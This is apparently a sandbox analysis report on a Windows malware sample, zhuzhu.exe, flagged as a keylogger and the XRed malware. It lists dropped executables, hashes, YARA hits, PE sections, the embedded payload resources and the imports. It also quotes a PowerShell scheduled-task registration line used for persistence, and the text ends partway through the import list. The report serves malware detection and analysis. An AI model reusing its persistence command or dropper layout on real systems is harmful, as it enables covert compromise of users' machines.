SHA-512:	15FAE192951747A0C71059F608700F88548F3E60BB5C708B206BF793A7E3D059A278F2058D4AC86B86781B202037401A29602EE4D6C0CBAAFF532CEF311975F4
Malicious:	true
Preview:	$xmlPath = "XML??".$taskName = "????".$xmlContent = Get-Content -Path $xmlPath \| Out-String.Register-ScheduledTask -Xml $xmlContent -TaskName $taskName

C:\Users\user\AppData\Roaming\._cache_zhuzhu.exe

Download File

Process:	C:\Users\user\Desktop\._cache_zhuzhu.exe
File Type:	PE32 executable (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	5289240
Entropy (8bit):	7.236599313454909
Encrypted:	false
SSDEEP:	98304:GgF0ET9HlrxRVwJMACNiREvBvlvwvCvxvq:pZ9HhxRVwJMAqoetRqA9q
MD5:	B4F00FBA3327488D4CB6FD36B2D567C6
SHA1:	4F0548A2F6BF73A85FF17F40F420098019AC05FF
SHA-256:	D6A84954E038DDF4A0026705E0942FC003CFDC04E58F658A6BD9E89C37C57D18
SHA-512:	C573147ADFEBA7D313CC79498A1C107679F0E69805E3AA8260B3E57DBA282088BCA082536D7866D4708529BF8C3BEF56B2005BD9D59A870E3D29132F6FD3D897
Malicious:	true
Yara Hits:	Rule: JoeSecurity_Keylogger_Generic, Description: Yara detected Keylogger Generic, Source: C:\Users\user\AppData\Roaming\._cache_zhuzhu.exe, Author: Joe Security Rule: JoeSecurity_DelphiSystemParamCount, Description: Detected Delphi use of System.ParamCount(), Source: C:\Users\user\AppData\Roaming\._cache_zhuzhu.exe, Author: Joe Security
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZP.....................@...............................................!..L.!..This program must be run under Win32..$7........................................................................................................................................PE..L....R.d..................-...".....D.-.......-...@...........................Q......BQ..........@............................/..?....2.`.............P..)..../.............................../....................../..............................text.....-.......-................. ..`.itext..P.....-.......-............. ..`.data...x.....-.......-.............@....bss.....................................idata...?..../..@..................@....tls........../..........................rdata......../.....................@..@.reloc......../......./.............@..B.rsrc...`.....2.......1.............@..@..............Q.......P.............@..@................................................................................................

C:\Users\user\AppData\Roaming\Logs\._cache_zhuzhu.log

Download File

Process:	C:\Users\user\AppData\Roaming\._cache_zhuzhu.exe
File Type:	ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	3342
Entropy (8bit):	5.500452462399099
Encrypted:	false
SSDEEP:	48:L4XHDzFRYSqSDzFRYNdXHDwOPxFRYeqqSDwOPxFRYpbqhSDwOPxFRYpbqhSDwOPg:LafkSDfkN13kZD3kE03kE03kE2
MD5:	AFCCF09B868329FC0CD689E426B77544
SHA1:	5517B1A57ABE2D2DE9F22390520CAE219CDD3436
SHA-256:	CC62FAB47CF4EA073AEE9F7588C3A69D749AF91832228940FB5563B54D7D81BF
SHA-512:	2EEE7F03A38592B51400E8BBFE3FB5D087F9DD3E6470D81F611213E0E672325F76C7C646BCA3BB8BE6E77BE31E4BBB212B71D15ADDE222C8D889DC36B504CB95
Malicious:	false
Preview:	----------Raised Exception--------------29/12/2024 22:59:01.298----------------..Exception PID=6340 TID=5808 [Main Thread] Build=5157....Cannot open registry key: HKEY_LOCAL_MACHINE\SOFTWARE\Wow6432Node\Xoreax\Incredibuild: The system cannot find the file specified....($CALLTRACE:004A1B80:48CB03,9FE6A,F3E,664F78,D97AE,C1A6,74DEFA27,6EF7B5C,29)......----------Exception---------------------29/12/2024 22:59:01.298----------------..Exception Code=0x0EEDFADE Flags=0x1 Addr=0x7500CC12 PID=6340 TID=5808 [Main Thread] Build=5157....Cannot open registry key: HKEY_LOCAL_MACHINE\SOFTWARE\Wow6432Node\Xoreax\Incredibuild: The system cannot find the file specified....($CALLTRACE:004A1B80:7500CC12,0048CB03*2,9FE6A,F3E,664F78,D97AE,C1A6,74DEFA27,6EF7B5C,29)....----------Raised Exception--------------29/12/2024 22:59:01.298----------------..Exception PID=6340 TID=5808 [Main Thread] Build=5157....Failed to access Agent registry settings, while trying to open "SOFTWARE\Xoreax\Incredibuild" ke

C:\Users\user\Desktop\._cache_zhuzhu.exe

Download File

Process:	C:\Users\user\Desktop\zhuzhu.exe
File Type:	PE32 executable (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	5289240
Entropy (8bit):	7.236599313454909
Encrypted:	false
SSDEEP:	98304:GgF0ET9HlrxRVwJMACNiREvBvlvwvCvxvq:pZ9HhxRVwJMAqoetRqA9q
MD5:	B4F00FBA3327488D4CB6FD36B2D567C6
SHA1:	4F0548A2F6BF73A85FF17F40F420098019AC05FF
SHA-256:	D6A84954E038DDF4A0026705E0942FC003CFDC04E58F658A6BD9E89C37C57D18
SHA-512:	C573147ADFEBA7D313CC79498A1C107679F0E69805E3AA8260B3E57DBA282088BCA082536D7866D4708529BF8C3BEF56B2005BD9D59A870E3D29132F6FD3D897
Malicious:	true
Yara Hits:	Rule: JoeSecurity_Keylogger_Generic, Description: Yara detected Keylogger Generic, Source: C:\Users\user\Desktop\._cache_zhuzhu.exe, Author: Joe Security Rule: JoeSecurity_DelphiSystemParamCount, Description: Detected Delphi use of System.ParamCount(), Source: C:\Users\user\Desktop\._cache_zhuzhu.exe, Author: Joe Security
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZP.....................@...............................................!..L.!..This program must be run under Win32..$7........................................................................................................................................PE..L....R.d..................-...".....D.-.......-...@...........................Q......BQ..........@............................/..?....2.`.............P..)..../.............................../....................../..............................text.....-.......-................. ..`.itext..P.....-.......-............. ..`.data...x.....-.......-.............@....bss.....................................idata...?..../..@..................@....tls........../..........................rdata......../.....................@..@.reloc......../......./.............@..B.rsrc...`.....2.......1.............@..@..............Q.......P.............@..@................................................................................................

C:\Users\user\Desktop\Logs\._cache_zhuzhu.log

Download File

Process:	C:\Users\user\Desktop\._cache_zhuzhu.exe
File Type:	ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	3414
Entropy (8bit):	5.497386323545744
Encrypted:	false
SSDEEP:	48:L4/YPDzFRYSqpPDzFRYNdCqYPDwOPxFRYmqqfvPDwOPxFRYpTqhfvPDwOPxFRYpd:LFfkSgfkNs3kRW3k013k013k02
MD5:	8DF876CA67089004FF99717336C057D6
SHA1:	6B2E69A4D67E8C01C9C7E04F567C45A75A05C795
SHA-256:	33A69994FABF8A22CE4A1D75E4BDE967915040926E399E539440F4B83BAB3F98
SHA-512:	420A504019DD6488EEB378E9EDAEBBA0303F426AC73F1C00AB193FF7374794C61D399393EF2EDF518B38D7C9C596697FE0A31E5672A8CE4B0710EBEBA467C559
Malicious:	false
Preview:	----------Raised Exception--------------29/12/2024 22:58:58.516----------------..Exception PID=3624 TID=5812 [Main Thread] Build=5157....Cannot open registry key: HKEY_LOCAL_MACHINE\SOFTWARE\Wow6432Node\Xoreax\Incredibuild: The system cannot find the file specified....($CALLTRACE:004A1B80:48CB03,9FE6A,F3E,664F78,D97AE,C1A6,74DEFA27,6EF7B5C,29)......----------Exception---------------------29/12/2024 22:58:58.516----------------..Exception Code=0x0EEDFADE Flags=0x1 Addr=0x7500CC12 PID=3624 TID=5812 [Main Thread] Build=5157....Cannot open registry key: HKEY_LOCAL_MACHINE\SOFTWARE\Wow6432Node\Xoreax\Incredibuild: The system cannot find the file specified....($CALLTRACE:004A1B80:7500CC12,0048CB03*2,9FE6A,F3E,664F78,D97AE,C1A6,74DEFA27,6EF7B5C,29)....----------Raised Exception--------------29/12/2024 22:58:58.532----------------..Exception PID=3624 TID=5812 [Main Thread] Build=5157....Failed to access Agent registry settings, while trying to open "SOFTWARE\Xoreax\Incredibuild" ke

C:\Users\user\Documents\DTBZGIOOSO\XZXHAVGRAG.xlsm

Download File

Process:	C:\ProgramData\Synaptics\Synaptics.exe
File Type:	Microsoft Excel 2007+
Category:	dropped
Size (bytes):	18387
Entropy (8bit):	7.523057953697544
Encrypted:	false
SSDEEP:	384:oUaZLPzMfVSa1VvYXmrsdPkLmDAx7r/l0:oUatwNSSvY2IdsHr/y
MD5:	E566FC53051035E1E6FD0ED1823DE0F9
SHA1:	00BC96C48B98676ECD67E81A6F1D7754E4156044
SHA-256:	8E574B4AE6502230C0829E2319A6C146AEBD51B7008BF5BBFB731424D7952C15
SHA-512:	A12F56FF30EA35381C2B8F8AF2446CF1DAA21EE872E98CAD4B863DB060ACD4C33C5760918C277DADB7A490CB4CA2F925D59C70DC5171E16601A11BC4A6542B04
Malicious:	false
Preview:	PK..........!...5Qr...?.......[Content_Types].xml ...(......................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................N.0.E.H.C.-..@.5.....(..8...-.[.g.......M^..s.5.4.I..P;..!....r....}._.G.`....Y....M.7....&.m1cU..I.T.....`.t...^.Bx..r..~0x....6...`....reb2m.s.$.%...-c.{...dT.m.kL]Yj.\|..Yp..".G.......r...).#b.=.QN'...i..w.s..$3..)).....2wn..ls.F..X.D^K.......Cj.sx..E..n._ ....pjUS.9.....j..L...>".....w.... ....l{.sd...G.....wC.F... D..1<..=...z.As.]...#l..........PK..........!..U0#....L......._rels/.rels ...(...............

C:\Users\user\Documents\DTBZGIOOSO\~$XZXHAVGRAG.xlsx

Download File

Process:	C:\Program Files (x86)\Microsoft Office\root\Office16\EXCEL.EXE
File Type:	data
Category:	dropped
Size (bytes):	165
Entropy (8bit):	1.4377382811115937
Encrypted:	false
SSDEEP:	3:KVC+cAmltV:KVC+cR
MD5:	9C7132B2A8CABF27097749F4D8447635
SHA1:	71D7F78718A7AFC3EAB22ED395321F6CBE2F9899
SHA-256:	7029AE5479F0CD98D892F570A22B2AE8302747DCFF3465B2DE64D974AE815A83
SHA-512:	333AC8A4987CC7DF5981AE81238A77D123996DB2C4C97053E8BD2048A64FDCF33E1245DEE6839358161F6B5EEA6BFD8D2358BC4A9188D786295C22F79E2D635E
Malicious:	false
Preview:	.user ..j.o.n.e.s. . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .

C:\Users\user\Documents\DTBZGIOOSO\~$cache1

Download File

Process:	C:\ProgramData\Synaptics\Synaptics.exe
File Type:	PE32 executable (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	771584
Entropy (8bit):	6.641700569488142
Encrypted:	false
SSDEEP:	12288:aMSApJVYG5lDLyjsb0eOzkv4R7QnvUUilQ35+6G75V9IAr:ansJ39LyjbJkQFMhmC+6GD9/
MD5:	382B0F88502E718DFDF96DBC3AA3400A
SHA1:	7A3922C6DE7B42483E48644C917ADA5467FD1A44
SHA-256:	F2927C106573A6D3594AD58A3B5976C9E82964BF4D064821ABE4D3D58EF82479
SHA-512:	D6F0094332CE7D2C6CBC46B41EA71871DFDB9148F5C5E1C96C8F79E752543A59B6EF85FF6B26148A2ADBB605792392221383624087987BE280DC625A66048E78
Malicious:	true
Yara Hits:	Rule: JoeSecurity_XRed, Description: Yara detected XRed, Source: C:\Users\user\Documents\DTBZGIOOSO\~$cache1, Author: Joe Security Rule: JoeSecurity_DelphiSystemParamCount, Description: Detected Delphi use of System.ParamCount(), Source: C:\Users\user\Documents\DTBZGIOOSO\~$cache1, Author: Joe Security
Antivirus:	Antivirus: Avira, Detection: 100% Antivirus: Avira, Detection: 100% Antivirus: Joe Sandbox ML, Detection: 100%
Preview:	MZP.....................@...............................................!..L.!..This program must be run under Win32..$7........................................................................................................................................PE..L....^B.....................&....................@.......................... ...................@..............................B...........................P...............@..!............@......................................................CODE............................... ..`DATA....T........0..................@...BSS......................................idata..B*.......,..................@....tls.........0...........................rdata..9....@......................@..P.reloc.......P......................@..P.rsrc...............................@..P....................................@..P........................................................................................................................................

C:\Users\user\Downloads\inst.exe

Download File

Process:	C:\Users\user\Desktop\._cache_zhuzhu.exe
File Type:	PE32 executable (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	4118496
Entropy (8bit):	7.743814085153487
Encrypted:	false
SSDEEP:	98304:9lBo/r7J2a4FL8VdL0hvADfHraEk1qhJonrnYmIb:1oD7x4yVdDfLa8ky
MD5:	AAA0F14BDFE3777EEE342C27DE409E6D
SHA1:	6B5F9A7B71E6B105D1BFA26B0C7A4931ED9E5179
SHA-256:	B35314C2C3B1AAB777D621C6FD8516A877B27EFBDE4DD4ADDD6843C411E96AA3
SHA-512:	D584D30083E34964D846C88EB558DBA338E3B8982D6D71EFEC36461AEA12127CFCBA2BE9510D9EF254A85680A2BA2DDB21583CE5E77D5CF3AC0A65800E5AB25A
Malicious:	true
Antivirus:	Antivirus: ReversingLabs, Detection: 17%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......!..e..e..e....A.a..l.B.y..Bb..d..l.^.s..{.S.a..Bb..f..Bb..@..e.....l.T...l.S...{.C.d..l.F.d..Riche..................PE..L...,D.f......................2...................@...........................?......?...@.....................................\|.......l</...........>.H)...@>.h...@...................................@............................................text............................... ..`.rdata...M.......N..................@..@.data...L....0......................@....rsrc...l</......>/.................@..@.reloc..(....@>.......=.............@..B................................................................................................................................................................................................................................................................................................

C:\Windows\appcompat\Programs\Amcache.hve

Download File

Process:	C:\Windows\SysWOW64\WerFault.exe
File Type:	MS Windows registry file, NT/2000 or above
Category:	dropped
Size (bytes):	1835008
Entropy (8bit):	4.465636444072328
Encrypted:	false
SSDEEP:	6144:ZIXfpi67eLPU9skLmb0b4wWSPKaJG8nAgejZMMhA2gX4WABl0uN9dwBCswSb8:qXD94wWlLZMM6YFHf+8
MD5:	4D0FA019644621173BF30EE2E5F0D7A5
SHA1:	9EC73E6923D5E6AA834CB29AD3271F30165D5D85
SHA-256:	F36AB6C525BBA0EFD3EEB3B46C2AAC4393BE5FF850DDC519399BB8C664A4EE6E
SHA-512:	A69252CE84E87E62542852190CDF726B96768571DF05D08D675716048E99E0D2F4D5EA5837E2FF44AC5E745396AF066ECC61564458DF550A075FDF520352C281
Malicious:	false
Preview:	regf7...7....\.Z.................... ...........\.A.p.p.C.o.m.p.a.t.\.P.r.o.g.r.a.m.s.\.A.m.c.a.c.h.e...h.v.e....c...b...#.......c...b...#...........c...b...#......rmtm.f.IoZ..............................................................................................................................................................................................................................................................................................................................................C..}........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

\Device\Mup\localhost\pipe\atsvc

Download File

Process:	C:\Users\user\Desktop\._cache_zhuzhu.exe
File Type:	GLS_BINARY_LSB_FIRST
Category:	dropped
Size (bytes):	4697
Entropy (8bit):	7.794032055726917
Encrypted:	false
SSDEEP:	96:PXL+TRk2HuR0kbc4kKpefCQsdUIGTAvksU3vxZDYUbkh3oh:PXLH2jkPPxQ6A8k33vx9GhYh
MD5:	D56BDECDB16ED5ED496FFBFEB49FDA4B
SHA1:	D031F3D283CF1083BB9D1705E82C5D84F42C78EE
SHA-256:	B0F3E7D8D3112C7F64FE6A7F4264F0D79AAB045D8CA13AE26F62F32262D5C42A
SHA-512:	0D48934A0A78A98CBAF028D12EF4EC7019D9F96B3E1DE3A0422F4DA448B3BEA9B9C5123C2C6F32CE8E6ED70507409FE18F8BB11B78DC729C6C2342885CC9DBF6
Malicious:	false
Preview:	..........9.....................IY..D@.$.621.......]..........+.H`........IY..D@.$.621......,..l..@E....................NTLMSSP.............0.......(.....aJ....user-PCWORKGROUP........t.X.................NTLMSSP.........X.......X.......X.......X.......X.......X...5....aJ....q.Db...7..^W..P................P............:......5_..)Z..$..b.v].S[.(.A..sI.....kRk!....q..N'...yq......i^....R.3............j....&.@....................T.........%.....3......X.P.aX/..9l........v ..s\...F.3~.R..^..u.......w..!....\...d.[.../....s...N.'..Nz..M...........rl..w.x7...Y....;d.7......S.0F...bL...b#....R.f.nE<)Bl..Q.....N..D...K.....1.`R?..y[...4..3......}.'@v..p.!.{......_..g.G.!8....1....u...D..........k.RK.<.8\|+a.....3 <J0.o./....'.......1Uk g.o...F.\8..2..../...o..N...I....\|....v.2....B..a4S...S...<.w.#'J....j.).a.8...$/On.....M.Ge...+.9..vY..(8S...T}.\...AQ .(\|D.g...o...I]...y.........K<..L.e....O.`....<...+.....u...J.. ..f..yJ.._....\|-...i....U.t.#..}p3r.g.-...

Static File Info

General

File type:	PE32 executable (GUI) Intel 80386, for MS Windows
Entropy (8bit):	7.174885705168195
TrID:	Win32 Executable (generic) a (10002005/4) 92.26% Win32 Executable Borland Delphi 7 (665061/41) 6.13% Inno Setup installer (109748/4) 1.01% InstallShield setup (43055/19) 0.40% Win32 Executable Delphi generic (14689/80) 0.14%
File name:	zhuzhu.exe
File size:	6'061'056 bytes
MD5:	675f03db23d403573a3a6f708a0e4369
SHA1:	78ee9afafe6bf18d2c42d816629b6f9ed1e3ea2f
SHA256:	ee4c8a187e1e1bd62abe49faece1f327dc7718c736dd1e427c025d73fa796cf8
SHA512:	c9055873fcbcefd7aeb8414627d4aa7645014bc2a609a4993317a45465a2ffdbeb38dbfb6c7677350203fe1e7d1f3906fc670ae74d1a75fbd91533044f513240
SSDEEP:	98304:unsmtk2asgF0ET9HlrxRVwJMACNiREvBvlvwvCvxvD:wL8Z9HhxRVwJMAqoetRqA9D
TLSH:	7756BF61B682C832C1231A78DD1B93E5A875BF315F246987BBF53E0C7E3D5523828297
File Content Preview:	MZP.....................@...............................................!..L.!..This program must be run under Win32..$7.......................................................................................................................................

File Icon


Icon Hash:	dd9d5b5252b5b513

Static PE Info

General

Entrypoint:	0x49ab80
Entrypoint Section:	CODE
Digitally signed:	false
Imagebase:	0x400000
Subsystem:	windows gui
Image File Characteristics:	EXECUTABLE_IMAGE, LINE_NUMS_STRIPPED, LOCAL_SYMS_STRIPPED, BYTES_REVERSED_LO, 32BIT_MACHINE, BYTES_REVERSED_HI
DLL Characteristics:
Time Stamp:	0x2A425E19 [Fri Jun 19 22:22:17 1992 UTC]
TLS Callbacks:
CLR (.Net) Version:
OS Version Major:	4
OS Version Minor:	0
File Version Major:	4
File Version Minor:	0
Subsystem Version Major:	4
Subsystem Version Minor:	0
Import Hash:	332f7ce65ead0adfb3d35147033aabe9

Entrypoint Preview

Instruction
push ebp
mov ebp, esp
add esp, FFFFFFF0h
mov eax, 0049A778h
call 00007F9C7CDEFD5Dh
mov eax, dword ptr [0049DBCCh]
mov eax, dword ptr [eax]
call 00007F9C7CE436A5h
mov eax, dword ptr [0049DBCCh]
mov eax, dword ptr [eax]
mov edx, 0049ABE0h
call 00007F9C7CE432A4h
mov ecx, dword ptr [0049DBDCh]
mov eax, dword ptr [0049DBCCh]
mov eax, dword ptr [eax]
mov edx, dword ptr [00496590h]
call 00007F9C7CE43694h
mov eax, dword ptr [0049DBCCh]
mov eax, dword ptr [eax]
call 00007F9C7CE43708h
call 00007F9C7CDED83Bh
add byte ptr [eax], al

Data Directories

Name	Virtual Address	Virtual Size	Is in Section
IMAGE_DIRECTORY_ENTRY_EXPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_IMPORT	0xa0000	0x2a42	.idata
IMAGE_DIRECTORY_ENTRY_RESOURCE	0xb0000	0x51d248	.rsrc
IMAGE_DIRECTORY_ENTRY_EXCEPTION	0x0	0x0
IMAGE_DIRECTORY_ENTRY_SECURITY	0x0	0x0
IMAGE_DIRECTORY_ENTRY_BASERELOC	0xa5000	0xa980	.reloc
IMAGE_DIRECTORY_ENTRY_DEBUG	0x0	0x0
IMAGE_DIRECTORY_ENTRY_COPYRIGHT	0xa4018	0x21	.rdata
IMAGE_DIRECTORY_ENTRY_GLOBALPTR	0x0	0x0
IMAGE_DIRECTORY_ENTRY_TLS	0xa4000	0x18	.rdata
IMAGE_DIRECTORY_ENTRY_LOAD_CONFIG	0x0	0x0
IMAGE_DIRECTORY_ENTRY_BOUND_IMPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_IAT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_DELAY_IMPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_COM_DESCRIPTOR	0x0	0x0
IMAGE_DIRECTORY_ENTRY_RESERVED	0x0	0x0

Sections

Name	Virtual Address	Virtual Size	Raw Size	MD5	Xored PE	ZLIB Complexity	File Type	Entropy	Characteristics
CODE	0x1000	0x99bec	0x99c00	33fbe30e8a64654287edd1bf05ae7c8c	False	0.5141641260162602	data	6.572957870355296	IMAGE_SCN_CNT_CODE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ
DATA	0x9b000	0x2e54	0x3000	1f5e19e7d20c1d128443d738ac7bc610	False	0.453125	data	4.854620797809023	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
BSS	0x9e000	0x11e5	0x0	d41d8cd98f00b204e9800998ecf8427e	False	0	empty	0.0	IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
.idata	0xa0000	0x2a42	0x2c00	21ff53180b390dc06e3a1adf0e57a073	False	0.3537819602272727	data	4.919333216027082	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
.tls	0xa3000	0x10	0x0	d41d8cd98f00b204e9800998ecf8427e	False	0	empty	0.0	IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
.rdata	0xa4000	0x39	0x200	a92cf494c617731a527994013429ad97	False	0.119140625	MacBinary, Mon Feb 6 07:28:16 2040 INVALID date, modified Mon Feb 6 07:28:16 2040 "J"	0.7846201577093705	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_SHARED, IMAGE_SCN_MEM_READ
.reloc	0xa5000	0xa980	0xaa00	dcd1b1c3f3d28d444920211170d1e8e6	False	0.5899816176470588	data	6.674124985579511	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_SHARED, IMAGE_SCN_MEM_READ
.rsrc	0xb0000	0x51d248	0x51d400	d3af718b802a6350311023a10c38abea	unknown	unknown	unknown	unknown	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_SHARED, IMAGE_SCN_MEM_READ

Resources

Name	RVA	Size	Type	Language	Country	ZLIB Complexity
RT_CURSOR	0xb0dc8	0x134	Targa image data - Map 64 x 65536 x 1 +32 "\001"			0.38636363636363635
RT_CURSOR	0xb0efc	0x134	data			0.4642857142857143
RT_CURSOR	0xb1030	0x134	data			0.4805194805194805
RT_CURSOR	0xb1164	0x134	data			0.38311688311688313
RT_CURSOR	0xb1298	0x134	data			0.36038961038961037
RT_CURSOR	0xb13cc	0x134	data			0.4090909090909091
RT_CURSOR	0xb1500	0x134	Targa image data - RGB 64 x 65536 x 1 +32 "\001"			0.4967532467532468
RT_BITMAP	0xb1634	0x1d0	Device independent bitmap graphic, 36 x 18 x 4, image size 360			0.43103448275862066
RT_BITMAP	0xb1804	0x1e4	Device independent bitmap graphic, 36 x 19 x 4, image size 380			0.46487603305785125
RT_BITMAP	0xb19e8	0x1d0	Device independent bitmap graphic, 36 x 18 x 4, image size 360			0.43103448275862066
RT_BITMAP	0xb1bb8	0x1d0	Device independent bitmap graphic, 36 x 18 x 4, image size 360			0.39870689655172414
RT_BITMAP	0xb1d88	0x1d0	Device independent bitmap graphic, 36 x 18 x 4, image size 360			0.4245689655172414
RT_BITMAP	0xb1f58	0x1d0	Device independent bitmap graphic, 36 x 18 x 4, image size 360			0.5021551724137931
RT_BITMAP	0xb2128	0x1d0	Device independent bitmap graphic, 36 x 18 x 4, image size 360			0.5064655172413793
RT_BITMAP	0xb22f8	0x1d0	Device independent bitmap graphic, 36 x 18 x 4, image size 360			0.39655172413793105
RT_BITMAP	0xb24c8	0x1d0	Device independent bitmap graphic, 36 x 18 x 4, image size 360			0.5344827586206896
RT_BITMAP	0xb2698	0x1d0	Device independent bitmap graphic, 36 x 18 x 4, image size 360			0.39655172413793105
RT_BITMAP	0xb2868	0xe8	Device independent bitmap graphic, 16 x 16 x 4, image size 128			0.4870689655172414
RT_ICON	0xb2950	0x10a8	Device independent bitmap graphic, 32 x 64 x 32, image size 4096			0.09943714821763602
RT_ICON	0xb39f8	0x10a8	Device independent bitmap graphic, 32 x 64 x 32, image size 8192	Turkish	Turkey	0.2101313320825516
RT_DIALOG	0xb4aa0	0x52	data			0.7682926829268293
RT_STRING	0xb4af4	0x358	data			0.3796728971962617
RT_STRING	0xb4e4c	0x428	data			0.37406015037593987
RT_STRING	0xb5274	0x3a4	data			0.40879828326180256
RT_STRING	0xb5618	0x3bc	data			0.33472803347280333
RT_STRING	0xb59d4	0x2d4	data			0.4654696132596685
RT_STRING	0xb5ca8	0x334	data			0.42804878048780487
RT_STRING	0xb5fdc	0x42c	data			0.42602996254681647
RT_STRING	0xb6408	0x1f0	data			0.4213709677419355
RT_STRING	0xb65f8	0x1c0	data			0.44419642857142855
RT_STRING	0xb67b8	0xdc	data			0.6
RT_STRING	0xb6894	0x320	data			0.45125
RT_STRING	0xb6bb4	0xd8	data			0.5879629629629629
RT_STRING	0xb6c8c	0x118	data			0.5678571428571428
RT_STRING	0xb6da4	0x268	data			0.4707792207792208
RT_STRING	0xb700c	0x3f8	data			0.37598425196850394
RT_STRING	0xb7404	0x378	data			0.41103603603603606
RT_STRING	0xb777c	0x380	data			0.35379464285714285
RT_STRING	0xb7afc	0x374	data			0.4061085972850679
RT_STRING	0xb7e70	0xe0	data			0.5535714285714286
RT_STRING	0xb7f50	0xbc	data			0.526595744680851
RT_STRING	0xb800c	0x368	data			0.40940366972477066
RT_STRING	0xb8374	0x3fc	data			0.34901960784313724
RT_STRING	0xb8770	0x2fc	data			0.36649214659685864
RT_STRING	0xb8a6c	0x354	data			0.31572769953051644
RT_RCDATA	0xb8dc0	0x44	data			0.8676470588235294
RT_RCDATA	0xb8e04	0x10	data			1.5
RT_RCDATA	0xb8e14	0x50b518	PE32 executable (GUI) Intel 80386, for MS Windows			0.4693317413330078
RT_RCDATA	0x5c432c	0x3	ASCII text, with no line terminators	Turkish	Turkey	3.6666666666666665
RT_RCDATA	0x5c4330	0x3c00	PE32 executable (DLL) (GUI) Intel 80386, for MS Windows	Turkish	Turkey	0.54296875
RT_RCDATA	0x5c7f30	0x64c	data			0.5998759305210918
RT_RCDATA	0x5c857c	0x153	Delphi compiled form 'TFormVir'			0.7522123893805309
RT_RCDATA	0x5c86d0	0x47d3	Microsoft Excel 2007+	Turkish	Turkey	0.8675150921846957
RT_GROUP_CURSOR	0x5ccea4	0x14	Lotus unknown worksheet or configuration, revision 0x1			1.25
RT_GROUP_CURSOR	0x5cceb8	0x14	Lotus unknown worksheet or configuration, revision 0x1			1.25
RT_GROUP_CURSOR	0x5ccecc	0x14	Lotus unknown worksheet or configuration, revision 0x1			1.3
RT_GROUP_CURSOR	0x5ccee0	0x14	Lotus unknown worksheet or configuration, revision 0x1			1.3
RT_GROUP_CURSOR	0x5ccef4	0x14	Lotus unknown worksheet or configuration, revision 0x1			1.3
RT_GROUP_CURSOR	0x5ccf08	0x14	Lotus unknown worksheet or configuration, revision 0x1			1.3
RT_GROUP_CURSOR	0x5ccf1c	0x14	Lotus unknown worksheet or configuration, revision 0x1			1.3
RT_GROUP_ICON	0x5ccf30	0x14	data	Turkish	Turkey	1.1
RT_VERSION	0x5ccf44	0x304	data	Turkish	Turkey	0.42875647668393785

Imports

DLL	Import
kernel32.dll	DeleteCriticalSection, LeaveCriticalSection, EnterCriticalSection, InitializeCriticalSection, VirtualFree, VirtualAlloc, LocalFree, LocalAlloc, GetTickCount, QueryPerformanceCounter, GetVersion, GetCurrentThreadId, InterlockedDecrement, InterlockedIncrement, VirtualQuery, WideCharToMultiByte, SetCurrentDirectoryA, MultiByteToWideChar, lstrlenA, lstrcpynA, LoadLibraryExA, GetThreadLocale, GetStartupInfoA, GetProcAddress, GetModuleHandleA, GetModuleFileNameA, GetLocaleInfoA, GetLastError, GetCurrentDirectoryA, GetCommandLineA, FreeLibrary, FindFirstFileA, FindClose, ExitProcess, ExitThread, CreateThread, WriteFile, UnhandledExceptionFilter, SetFilePointer, SetEndOfFile, RtlUnwind, ReadFile, RaiseException, GetStdHandle, GetFileSize, GetFileType, CreateFileA, CloseHandle
user32.dll	GetKeyboardType, LoadStringA, MessageBoxA, CharNextA
advapi32.dll	RegQueryValueExA, RegOpenKeyExA, RegCloseKey
oleaut32.dll	SysFreeString, SysReAllocStringLen, SysAllocStringLen
kernel32.dll	TlsSetValue, TlsGetValue, LocalAlloc, GetModuleHandleA
advapi32.dll	RegSetValueExA, RegQueryValueExA, RegOpenKeyExA, RegNotifyChangeKeyValue, RegFlushKey, RegDeleteValueA, RegCreateKeyExA, RegCloseKey, OpenProcessToken, LookupPrivilegeValueA, GetUserNameA, AdjustTokenPrivileges
kernel32.dll	lstrcpyA, WritePrivateProfileStringA, WriteFile, WaitForSingleObject, WaitForMultipleObjects, VirtualQuery, VirtualAlloc, UpdateResourceA, UnmapViewOfFile, TerminateProcess, Sleep, SizeofResource, SetThreadLocale, SetFilePointer, SetFileAttributesA, SetEvent, SetErrorMode, SetEndOfFile, ResumeThread, ResetEvent, RemoveDirectoryA, ReadFile, OpenProcess, OpenMutexA, MultiByteToWideChar, MulDiv, MoveFileA, MapViewOfFile, LockResource, LoadResource, LoadLibraryA, LeaveCriticalSection, InitializeCriticalSection, GlobalUnlock, GlobalReAlloc, GlobalHandle, GlobalLock, GlobalFree, GlobalFindAtomA, GlobalDeleteAtom, GlobalAlloc, GlobalAddAtomA, GetVersionExA, GetVersion, GetTimeZoneInformation, GetTickCount, GetThreadLocale, GetTempPathA, GetTempFileNameA, GetSystemInfo, GetSystemDirectoryA, GetStringTypeExA, GetStdHandle, GetProcAddress, GetPrivateProfileStringA, GetModuleHandleA, GetModuleFileNameA, GetLogicalDrives, GetLocaleInfoA, GetLocalTime, GetLastError, GetFullPathNameA, GetFileSize, GetFileAttributesA, GetExitCodeThread, GetDriveTypeA, 